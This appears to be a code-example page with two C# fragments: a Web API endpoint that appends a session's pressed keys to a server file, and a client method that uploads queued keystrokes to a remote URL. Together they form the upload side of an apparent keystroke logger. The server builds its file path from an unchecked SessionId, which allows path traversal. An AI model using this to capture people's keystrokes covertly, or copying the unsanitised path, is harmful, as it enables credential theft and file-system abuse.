public IHttpActionResult PostKeysPressed(KeysPressedViewModel model)
        {
            var filePath     = $@"{this.BasePath}\Sessions\{model.SessionId}";
            var fullFilePath = $@"{filePath}\KeysPressed.txt";
            var appendData   = true;

            this.CreateDirectory(filePath);

            // TODO: Try-catch much?
            using (StreamWriter writer = new StreamWriter(fullFilePath, appendData))
            {
                foreach (var keyPressed in model.KeysPressed)
                {
                    writer.WriteLine(keyPressed);
                }

                writer.Flush();
            }

            return(this.Ok());
        }
Exemple #2
0
        private async Task SendKeysPressed()
        {
            if (this.KeysPressedQueue.IsNotNull() && this.KeysPressedQueue.Count.IsGreaterThan(0))
            {
                IEnumerable <string> keysToSend;

                /* We are using a lock here, because there is a chance that the TimerEventHandler()
                 * will be invoked again before its previous execution is completed.
                 * This comes from the fact that we are awaiting an API call to a distant server,
                 * which might slow down the execution for multiple reasons like:
                 * Low bandwidth or High workload.
                 * This will occur in a race condition because both of the methods will try to
                 * dequeue items from the queue concurrently, which is not a problem for the queue itself,
                 * but it is a problem for the lists that are be built -
                 * they will contain chronologically messed up data. */
                lock (this.SyncLock)
                {
                    keysToSend = this.ExtractItemsFromQueue(this.KeysPressedQueue);
                }

                try
                {
                    var model = new KeysPressedViewModel
                    {
                        SessionId   = this.SessionId,
                        KeysPressed = keysToSend
                    };

                    //await this.HttpService.SendAsBson(model,
                    //    this.Settings.HttpServiceSettings.BaseAddress,
                    //    this.Settings.HttpServiceSettings.RequestURL);

                    await this.HttpService.SendAsBson(model, this.Settings.RequestUrl);
                }
                catch (Exception exc)
                {
                    // TODO: Log the exception cause
                }
            }
        }